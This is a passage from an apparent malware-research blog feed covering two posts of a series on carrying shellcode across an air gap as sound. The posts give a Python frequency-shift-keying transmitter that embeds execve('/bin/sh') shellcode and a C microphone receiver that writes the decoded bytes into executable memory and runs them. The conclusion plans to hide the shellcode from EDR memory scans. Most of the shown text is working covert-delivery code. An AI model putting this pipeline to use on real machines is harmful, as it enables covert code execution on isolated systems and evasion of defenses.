      <span class="kt">void</span> <span class="o">*</span><span class="n">mem</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="n">PROT_READ</span><span class="o">|</span><span class="n">PROT_WRITE</span><span class="o">|</span><span class="n">PROT_EXEC</span><span class="p">,</span> <span class="n">MAP_ANON</span><span class="o">|</span><span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
      <span class="n">memcpy</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
      <span class="p">((</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">mem</span><span class="p">)();</span>
      <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">free</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">free</span><span class="p">(</span><span class="n">bits</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">snd_pcm_t</span> <span class="o">*</span><span class="n">h</span><span class="p">;</span>
  <span class="c1">// setup ALSA capture device (microphone)</span>
  <span class="n">snd_pcm_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">h</span><span class="p">,</span> <span class="s">"default"</span><span class="p">,</span> <span class="n">SND_PCM_STREAM_CAPTURE</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="n">snd_pcm_set_params</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">SND_PCM_FORMAT_S16_LE</span><span class="p">,</span> <span class="n">SND_PCM_ACCESS_RW_INTERLEAVED</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">SAMPLE_RATE</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">100000</span><span class="p">);</span>

  <span class="c1">// capture raw audio into memory buffer</span>
  <span class="kt">int</span> <span class="n">total</span> <span class="o">=</span> <span class="n">CAPTURE_SECS</span> <span class="o">*</span> <span class="n">SAMPLE_RATE</span><span class="p">;</span>
  <span class="kt">int16_t</span> <span class="o">*</span><span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">total</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int16_t</span><span class="p">));</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] listening for 6 seconds...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">snd_pcm_readi</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">total</span><span class="p">);</span>
  <span class="n">snd_pcm_close</span><span class="p">(</span><span class="n">h</span><span class="p">);</span>

  <span class="c1">// brute-force: try every possible sample alignment offset</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">t</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">t</span> <span class="o">&lt;</span> <span class="n">N_OFFSETS</span><span class="p">;</span> <span class="n">t</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">try_offset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">total</span><span class="p">,</span> <span class="n">t</span> <span class="o">*</span> <span class="n">OFFSET_STEP</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">free</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] no valid payload found.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">free</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="demo">demo</h3>

<p>Let’s see this in action.</p>

<p>First of all, compile our receiver:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc receiver.c <span class="nt">-o</span> receiver <span class="nt">-lasound</span> <span class="nt">-lm</span>
</code></pre></div></div>

<p><img src="/assets/images/204/2026-05-28_01-58.png" alt="malware" class="img-responsive" /></p>

<p>Then, run it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./receiver
</code></pre></div></div>

<p><img src="/assets/images/204/2026-05-28_02-01.png" alt="malware" class="img-responsive" /></p>

<p>Within the <code class="language-plaintext highlighter-rouge">6</code>-second window, run transmitter:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 transmit_live.py
</code></pre></div></div>

<p><img src="/assets/images/204/2026-05-28_02-04.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/204/2026-05-28_02-02.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/204/2026-05-28_02-05.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/204/2026-05-28_02-06.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/204/2026-05-28_02-07.png" alt="malware" class="img-responsive" /></p>

<p>As we can see, checksum is ok, shellcode successfully spawned. In my case, I had to run transmitter three times.</p>

<h3 id="conslusion">conslusion</h3>

<p>We have built a reliable physical-layer link. However, there is a remaining problem: if an EDR scans the memory of our receiver while it is recording, it might see the shellcode bytes in the bits or payload arrays.</p>

<p>In the next parts, we will introduce the Discrete Fourier Transform (DFT) again. We will stop sending raw bits and start sending frequency coefficients, ensuring the shellcode only exists as “mathematical noise” until the moment of execution.</p>

<p><a href="https://en.wikipedia.org/wiki/Frequency-shift_keying">FSK</a>  <br />
<a href="https://en.wikipedia.org/wiki/Bell_202">Bell 202 standard</a>  <br />
<a href="https://en.wikipedia.org/wiki/Discrete_Fourier_transform">Discrete Fourier Transform (DFT)</a>   <br />
<a href="https://en.wikipedia.org/wiki/Goertzel_algorithm">Goertzel Algorithm</a>  <br />
<a href="https://github.com/cocomelonc/signal-malware-delivery-poc">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!  <br />
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="malware" /><category term="red team" /><category term="windows" /><category term="malware" /><category term="math" /><category term="physics" /><category term="signal processing" /><summary type="html"><![CDATA[﷽]]></summary></entry><entry><title type="html">Malware shellcode delivery via signal - part 1. FSK Basics. Simple python script</title><link href="https://cocomelonc.github.io/malware/2026/05/24/malware-tricks-56.html" rel="alternate" type="text/html" title="Malware shellcode delivery via signal - part 1. FSK Basics. Simple python script" /><published>2026-05-24T23:00:00+00:00</published><updated>2026-05-24T23:00:00+00:00</updated><id>https://cocomelonc.github.io/malware/2026/05/24/malware-tricks-56</id><content type="html" xml:base="https://cocomelonc.github.io/malware/2026/05/24/malware-tricks-56.html"><![CDATA[<p>﷽</p>

<p>Hello, cybersecurity enthusiasts and white hackers!</p>

<p><img src="/assets/images/203/2026-05-26_08-32.png" alt="malware" class="img-responsive" /></p>

<p>In modern red teaming, the “air-gap” remains one of the most challenging obstacles. When a target machine is physically isolated from the network and <code class="language-plaintext highlighter-rouge">USB</code> ports are disabled by GPO, how do you deliver a payload?</p>

<p>Welcome to a new series: <strong>Signal Processing and Math for Malware R&amp;D</strong>. Over the next few parts, I will try to explore how to treat shellcode not as data, but as a signal. We will bridge the air-gap using sound, hide our code in the frequency domain, and use math and physics for malware development.</p>

<p>This series of posts is based on my research and the results that I first presented at the <a href="https://www.bsidesprishtina.org/">BSides Prishtina 2026</a> conference. If I make significant progress in this research, I may also present my findings at other conferences.</p>

<p><img src="/assets/images/203/2026-05-26_08-18.png" alt="malware" class="img-responsive" /></p>

<p>The initial thought began with me considering how to deliver a payload via an alternative physical channel. I consulted radio enthusiasts, spent hours on Google, and, of course, debated options with AI. My primary candidates were:</p>

<ul>
  <li>acoustic / audio - the simplest method using standard speakers and microphones.</li>
  <li>ultrasonic - an “invisible” channel using the same FSK approach but at <code class="language-plaintext highlighter-rouge">18-22 kHz</code>, making it inaudible to humans.</li>
  <li>SDR / RF - transmitting via HackRF or LimeSDR and receiving via an RTL-SDR dongle.</li>
  <li>IR / Optical - using an <code class="language-plaintext highlighter-rouge">LED</code> and a photodiode, encoded as pulse-width modulation (PWM).</li>
</ul>

<p>After evaluating these vectors, I chose the acoustic / audio path for the zero-hardware dependency reason, another goal wasn’t just to play a sound; it was to build a mathematical pipeline. Starting with an audible acoustic signal allowed me to perfect the <a href="https://en.wikipedia.org/wiki/Goertzel_algorithm">Goertzel Algorithm</a> and synchronization logic first. Also I already have using an DFT experience.</p>

<p>In this first part, we will build the simple <strong>transmitter</strong>: a Python script that converts shellcode into sound using <strong>Frequency Shift Keying (FSK)</strong>.</p>

<p><img src="/assets/images/203/2026-05-26_06-31.png" alt="malware" class="img-responsive" /></p>

<h3 id="data-to-signal-and-what-is-fsk">data to signal and what is FSK?</h3>

<p>Frequency Shift Keying (FSK) is a frequency modulation scheme in which digital information is transmitted through discrete frequency changes of a carrier wave.</p>

<p>The simplest form is <strong>BFSK (Binary FSK)</strong>. We choose two distinct frequencies:  <br />
\( f_{mark} \) - represents a binary <code class="language-plaintext highlighter-rouge">1</code>.  <br />
\( f_{space} \) - represents a binary <code class="language-plaintext highlighter-rouge">0</code>.</p>

<p>For this project, we will use the <a href="https://en.wikipedia.org/wiki/Bell_202">Bell 202</a> standard, which was the foundation for early dial-up modems:</p>

<p>Mark frequency (\( f_1 \)) - <code class="language-plaintext highlighter-rouge">2200 Hz</code> - this is the high-frequency tone (<code class="language-plaintext highlighter-rouge">2200</code> oscillations per second). To the human ear, it sounds like a sharp, high-pitched beep.       <br />
Space frequency (\( f_0 \)) - <code class="language-plaintext highlighter-rouge">1200 Hz</code> - this is the low-frequency tone. The wave oscillates almost half as fast as the Mark. It sounds like a duller, lower hum.       <br />
Baud rate - <code class="language-plaintext highlighter-rouge">300</code> bits/second - refers to the number of signal changes per second. In our protocol, <code class="language-plaintext highlighter-rouge">1 Baud = 1 Bit</code>.</p>

<p>To generate the signal for a single bit, we use the standard formula for a sine wave:</p>

\[s(t) = A \cdot \sin(2\pi f t)\]

<p>or:</p>

\[s(t) = A \cdot \cos \big( 2\pi f_i t + \phi_n \big)\]

<p>Where:</p>
<ul>
  <li>\( A \) is the amplitude (volume)</li>
  <li>\( f \) is the frequency (\( f_1 \) or \( f_0 \))</li>
  <li>\( t \) is the time duration of one bit</li>
  <li>\( \phi _{n} \) - is the phase offset tracking constant for the \( n \)-th bit interval</li>
</ul>

<p>Since we are working with digital audio, we process this in the <strong>discrete time domain</strong>. Given a sampling rate \( f_s \) (usually \( 48000 \text{ Hz} \)), the number of samples per bit (\( N \)) is calculated as:</p>

\[N = \frac{f_s}{\text{Baud Rate}} = \frac{48000}{300} = 160 \text{ samples}\]

<p>This means every single bit of our shellcode is physically represented by a tiny buffer of <code class="language-plaintext highlighter-rouge">160</code> floating-point numbers (this is the standard hardware sampling rate. The computer slices one second of sound into <code class="language-plaintext highlighter-rouge">48,000</code> tiny pieces (samples)):</p>

<p><img src="/assets/images/203/2026-05-26_07-37.png" alt="malware" class="img-responsive" /></p>

<h3 id="practical-example">practical example</h3>

<p>We will use <code class="language-plaintext highlighter-rouge">numpy</code> for mathematical operations and <code class="language-plaintext highlighter-rouge">sounddevice</code> to interface with the system speakers.</p>

<p>First of all, we need sine wave generation logic:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">generate_tone</span><span class="p">(</span><span class="n">bit</span><span class="p">):</span>
    <span class="s">"""generates a sine wave for a single bit."""</span>
    <span class="n">freq</span> <span class="o">=</span> <span class="n">FREQ_MARK</span> <span class="k">if</span> <span class="n">bit</span> <span class="k">else</span> <span class="n">FREQ_SPACE</span>
    <span class="n">t</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">SPB</span><span class="p">)</span> <span class="o">/</span> <span class="n">SAMPLE_RATE</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">sin</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="n">pi</span> <span class="o">*</span> <span class="n">freq</span> <span class="o">*</span> <span class="n">t</span><span class="p">).</span><span class="n">astype</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>
</code></pre></div></div>

<p>this function takes a <code class="language-plaintext highlighter-rouge">0</code> or <code class="language-plaintext highlighter-rouge">1</code> and returns a raw array of <code class="language-plaintext highlighter-rouge">160</code> float values representing the sine wave of that frequency.</p>

<p>Then, we iterate through each bit of a byte (Least Significant Bit first) and concatenate the tones:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">byte_to_signal</span><span class="p">(</span><span class="n">byte</span><span class="p">):</span>
    <span class="s">"""converts a single byte into an audio signal (8 bits, LSB first)."""</span>
    <span class="n">bits</span> <span class="o">=</span> <span class="p">[(</span><span class="n">byte</span> <span class="o">&gt;&gt;</span> <span class="n">i</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">)]</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">generate_tone</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">bits</span><span class="p">])</span>
</code></pre></div></div>

<p>Finally, we convert the entire shellcode array, we add <em>0.5 seconds of silence</em> (the “Guard Interval”) to give the receiver time to initialize and stabilize:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">transmit</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="s">"""encodes the entire payload and plays it through the speakers."""</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] encoding shellcode (</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes)..."</span><span class="p">)</span>
    
    <span class="c1"># generate the audio signal
</span>    <span class="n">audio_signal</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">byte_to_signal</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">])</span>
    
    <span class="c1"># add some silence at the beginning and end for stability
</span>    <span class="n">silence</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">SAMPLE_RATE</span> <span class="o">*</span> <span class="mf">0.5</span><span class="p">),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>
    <span class="n">final_signal</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">silence</span><span class="p">,</span> <span class="n">audio_signal</span><span class="p">,</span> <span class="n">silence</span><span class="p">])</span>
    
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] total signal duration: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">final_signal</span><span class="p">)</span><span class="o">/</span><span class="n">SAMPLE_RATE</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s"> seconds"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[=^..^=] transmitting via air..."</span><span class="p">)</span>
    
    <span class="n">sd</span><span class="p">.</span><span class="n">play</span><span class="p">(</span><span class="n">final_signal</span><span class="p">,</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
    <span class="n">sd</span><span class="p">.</span><span class="n">wait</span><span class="p">()</span>
    
    <span class="k">print</span><span class="p">(</span><span class="s">"[=^..^=] transmission complete."</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">transmit</span><span class="p">(</span><span class="n">SHELLCODE</span><span class="p">)</span>
</code></pre></div></div>

<p>The full source code is looks like the following code <code class="language-plaintext highlighter-rouge">transmit.py</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="s">"""
transmit.py
acoustic shellcode transmitter - part 1: basic FSK
author: @cocomelonc
"""</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">sounddevice</span> <span class="k">as</span> <span class="n">sd</span>
<span class="kn">import</span> <span class="nn">struct</span>

<span class="c1"># protocol constants
</span><span class="n">SAMPLE_RATE</span> <span class="o">=</span> <span class="mi">48000</span>          <span class="c1"># standard hardware rate
</span><span class="n">BAUD_RATE</span>   <span class="o">=</span> <span class="mi">300</span>            <span class="c1"># bits per second
</span><span class="n">FREQ_MARK</span>   <span class="o">=</span> <span class="mi">2200</span>           <span class="c1"># frequency for bit 1 (Hz)
</span><span class="n">FREQ_SPACE</span>  <span class="o">=</span> <span class="mi">1200</span>           <span class="c1"># frequency for bit 0 (Hz)
</span><span class="n">SPB</span>         <span class="o">=</span> <span class="n">SAMPLE_RATE</span> <span class="o">//</span> <span class="n">BAUD_RATE</span> <span class="c1"># samples per bit (160)
</span>
<span class="c1"># linux x64 execve("/bin/sh") for simplicity
</span><span class="n">SHELLCODE</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span>
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> 
    <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> 
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x05</span>
<span class="p">])</span>

<span class="k">def</span> <span class="nf">generate_tone</span><span class="p">(</span><span class="n">bit</span><span class="p">):</span>
    <span class="s">"""generates a sine wave for a single bit."""</span>
    <span class="n">freq</span> <span class="o">=</span> <span class="n">FREQ_MARK</span> <span class="k">if</span> <span class="n">bit</span> <span class="k">else</span> <span class="n">FREQ_SPACE</span>
    <span class="n">t</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">SPB</span><span class="p">)</span> <span class="o">/</span> <span class="n">SAMPLE_RATE</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">sin</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="n">pi</span> <span class="o">*</span> <span class="n">freq</span> <span class="o">*</span> <span class="n">t</span><span class="p">).</span><span class="n">astype</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">byte_to_signal</span><span class="p">(</span><span class="n">byte</span><span class="p">):</span>
    <span class="s">"""converts a single byte into an audio signal (8 bits, LSB first)."""</span>
    <span class="n">bits</span> <span class="o">=</span> <span class="p">[(</span><span class="n">byte</span> <span class="o">&gt;&gt;</span> <span class="n">i</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">)]</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">generate_tone</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">bits</span><span class="p">])</span>

<span class="k">def</span> <span class="nf">transmit</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="s">"""encodes the entire payload and plays it through the speakers."""</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] encoding shellcode (</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes)..."</span><span class="p">)</span>
    
    <span class="c1"># generate the audio signal
</span>    <span class="n">audio_signal</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">byte_to_signal</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">])</span>
    
    <span class="c1"># add some silence at the beginning and end for stability
</span>    <span class="n">silence</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">SAMPLE_RATE</span> <span class="o">*</span> <span class="mf">0.5</span><span class="p">),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>
    <span class="n">final_signal</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">silence</span><span class="p">,</span> <span class="n">audio_signal</span><span class="p">,</span> <span class="n">silence</span><span class="p">])</span>
    
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] total signal duration: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">final_signal</span><span class="p">)</span><span class="o">/</span><span class="n">SAMPLE_RATE</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s"> seconds"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[=^..^=] transmitting via air..."</span><span class="p">)</span>
    
    <span class="n">sd</span><span class="p">.</span><span class="n">play</span><span class="p">(</span><span class="n">final_signal</span><span class="p">,</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
    <span class="n">sd</span><span class="p">.</span><span class="n">wait</span><span class="p">()</span>
    
    <span class="k">print</span><span class="p">(</span><span class="s">"[=^..^=] transmission complete."</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">transmit</span><span class="p">(</span><span class="n">SHELLCODE</span><span class="p">)</span>
</code></pre></div></div>

<p>as you can, for simplicity used <code class="language-plaintext highlighter-rouge">execve("/bin/sh")</code> shellcode here:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SHELLCODE</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span>
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> 
    <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> 
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x05</span>
<span class="p">])</span>
</code></pre></div></div>

<h3 id="demo">demo</h3>

<p>At this point, we have successfully converted a binary exploit into an acoustic signal.</p>

<p>for this part, we need to set up the audio backend:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt <span class="nb">install </span>libportaudio2 libportaudio-ocaml-dev
</code></pre></div></div>

<p><img src="/assets/images/203/2026-05-26_07-54.png" alt="malware" class="img-responsive" /></p>

<p>and python dependencies:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-m</span> pip <span class="nb">install </span>numpy sounddevice
</code></pre></div></div>

<p><img src="/assets/images/203/2026-05-26_07-55.png" alt="malware" class="img-responsive" /></p>

<p>If you run this script, you will hear a series of high and low “beeps” - that is your shellcode literally flying through the air:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 transmit.py
</code></pre></div></div>

<p><img src="/assets/images/203/2026-05-26_07-57.png" alt="malware" class="img-responsive" /></p>

<p>as we can see, everything works perfectly.</p>

<h3 id="practical-example-2">practical example 2.</h3>

<p>Static code is fine, but as researchers, we need to see our signal to understand its behavior. By using <code class="language-plaintext highlighter-rouge">matplotlib</code> in interactive mode, we can create a live <em>Oscilloscope</em> and <em>Spectrum Analyzer</em> inside our terminal.</p>

<p>In this example, we utilize a sliding window technique. As <code class="language-plaintext highlighter-rouge">sounddevice</code> plays the FSK tones in the background, our loop calculates the current playback position and updates the plots. This visualizes the transitions between our <code class="language-plaintext highlighter-rouge">1200Hz</code> (Space) and <code class="language-plaintext highlighter-rouge">2200Hz</code> (Mark) frequencies in real-time, helping us verify that our modulation is clean and the timing is accurate before we move to the reception phase.</p>

<p>To move from a static script to a live-visualizing transmitter, we need to implement several architectural changes. These changes allow the software to act as a real-time signal analyzer while the audio is playing.</p>

<p>First, we need a function to construct our visualization window. We create two subplots: one for the <em>time domain</em> (to see the actual sine waves) and one for the <em>frequency domain</em> (to see the <code class="language-plaintext highlighter-rouge">1200Hz/2200Hz</code> peaks using <a href="/malware/2026/03/05/malware-cryptography-44.html">Fast Fourier Transform</a>):</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">build_figure</span><span class="p">():</span>
    <span class="s">"""sets up the matplotlib figure for live plotting."""</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">style</span><span class="p">.</span><span class="n">use</span><span class="p">(</span><span class="s">'dark_background'</span><span class="p">)</span>
    <span class="n">fig</span><span class="p">,</span> <span class="p">(</span><span class="n">ax_wave</span><span class="p">,</span> <span class="n">ax_spec</span><span class="p">)</span> <span class="o">=</span> <span class="n">plt</span><span class="p">.</span><span class="n">subplots</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">6</span><span class="p">))</span>
    <span class="n">fig</span><span class="p">.</span><span class="n">suptitle</span><span class="p">(</span><span class="s">'[=^..^=] live acoustic transmission'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s">'#00ff88'</span><span class="p">)</span>
    
    <span class="c1"># waveform plot setup
</span>    <span class="n">line_wave</span><span class="p">,</span> <span class="o">=</span> <span class="n">ax_wave</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">),</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">),</span> <span class="n">color</span><span class="o">=</span><span class="s">'#00ffff'</span><span class="p">,</span> <span class="n">lw</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">ax_wave</span><span class="p">.</span><span class="n">set_ylim</span><span class="p">(</span><span class="o">-</span><span class="mf">1.2</span><span class="p">,</span> <span class="mf">1.2</span><span class="p">)</span>
    <span class="n">ax_wave</span><span class="p">.</span><span class="n">set_axis_off</span><span class="p">()</span>
    
